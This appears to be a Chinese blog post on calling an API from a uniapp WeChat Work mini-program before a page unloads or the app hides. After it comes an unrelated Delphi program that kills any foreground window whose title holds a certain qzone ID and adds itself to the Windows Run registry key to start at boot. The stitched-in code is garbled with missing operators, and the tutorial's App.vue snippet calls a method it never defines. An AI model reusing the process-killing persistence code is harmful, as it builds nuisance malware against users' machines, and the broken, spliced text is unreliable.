uniapp 开发企业微信小程序时,如何在当前页面真正销毁前或者关闭小程序前调用一个api接口

在 UniApp 开发企业微信小程序时,若需在页面销毁或小程序关闭前调用 API 接口,需结合页面生命周期应用生命周期实现。以下是具体实现方案及注意事项:


一、在页面销毁前调用 API(页面级)

通过页面生命周期钩子 onUnload 触发销毁前的操作,这是页面卸载的最后时机:

export default {
  onUnload() {
    // 调用销毁前的 API
    this.cleanupBeforeDestroy();
  },
  methods: {
    async cleanupBeforeDestroy() {
      try {
        await uni.request({
          url: '***你的API地址',
          method: 'POST',
          data: { action: 'log_close_event' }
        });
        console.log('销毁前接口调用成功');
      } catch (error) {
        console.error('接口调用失败:', error);
      }
    }
  }
}

二、在小程序关闭前调用 API(应用级)

通过应用生命周期钩子 onHide 监听小程序进入后台(包括关闭、切换应用等操作),此时可执行清理逻辑:

// App.vue
export default {
  onHide() {
    // 统一处理全局关闭事件
    this.globalCleanup();
  },
  methods: {
    async globalCleanup() {
      if (this.isEnterpriseWechat) { // 判断企业微信环境
        await uni.request({
          url: '***你的全局API地址',
          method: 'POST',
          data: { event: 'app_close' }
        });
      }
    }
  }
}

三、增强可靠性的技巧

  1. 同步请求优先
    使用 uni.requestasync/await 确保请求发送,但需注意:小程序关闭时可能强制终止未完成的异步任务,建议接口设计为快速响应的轻量级请求。

  2. 双保险策略
    同时监听 onUnload(页面级)和 onHide(应用级),覆盖以下场景:

    • 页面跳转销毁 → 触发 onUnload
    • 小程序完全关闭 → 触发 onHide(应用级)
  3. 环境判断
    企业微信环境下可能需要特殊处理:

    // 判断是否在企业微信中运行
    const isEnterpriseWechat = uni.getSystemInfoSync().environment === 'wxwork';
    

四、注意事项

  1. 生命周期执行顺序
    小程序关闭时,先触发页面级 onUnload,再触发应用级 onHide。若需避免重复调用 API,可通过状态标识控制。

  2. 请求超时设置
    添加超时逻辑防止阻塞销毁过程:

    uni.request({
      timeout: 3000, // 3秒超时
      // ...
    });
    
  3. 敏感操作限制
    企业微信可能限制关闭前的网络请求,需在真机测试验证接口可行性。


完整代码示例

// 页面逻辑
export default {
  data() {
    return {
      isApiCalled: false // 防止重复调用
    }
  },
  onUnload() {
    if (!this.isApiCalled) {
      this.callDestoryApi('page_unload');
      this.isApiCalled = true;
    }
  },
  methods: {
    async callDestoryApi(eventType) {
      try {
        await uni.request({
          url: 'https://api.example.com/log',
          method: 'POST',
          data: { event_type: eventType },
          timeout: 2000
        });
      } catch (e) {
        console.error('埋点失败:', e);
      }
    }
  }
}

// App.vue 应用级逻辑
export default {
  onHide() {
    if (uni.getSystemInfoSync().environment === 'wxwork') {
      this.callDestoryApi('app_hide');
    }
  }
}

通过上述方案,可覆盖页面销毁和小程序关闭两种场景。建议在真机环境下测试不同操作(如直接关闭小程序、返回桌面、页面跳转等)对生命周期的触发影响。

Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂的沙粒

您的鼓励是我创作最大的动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值